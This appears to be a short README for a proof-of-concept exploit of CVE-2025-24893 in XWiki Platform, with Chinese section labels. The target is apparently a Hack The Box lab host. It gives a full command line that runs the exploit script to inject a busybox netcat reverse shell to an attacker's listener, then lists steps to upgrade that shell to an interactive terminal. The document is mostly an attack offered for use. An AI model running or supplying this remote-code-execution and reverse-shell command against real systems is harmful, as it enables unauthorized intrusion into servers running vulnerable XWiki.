CVE-2025-24893 PoC — XWiki Platform 安全漏洞

介绍

# Reverse shell for CVE-2025-24893

```bash
 python3 CVE-2025-24893.py  -u http://wiki.editor.htb/ -c "busybox nc <listener ip> <listener port> -e /bin/bash"
```

## upgrade the shell
1. `python3 -c 'import pty; pty.spawn("/bin/bash")'`
2. `ctrl + z`
3. `stty size`
4. `stty raw -echo; fg`
5. `stty rows x columns y`
6. `export TERM=xterm`

文件快照

备注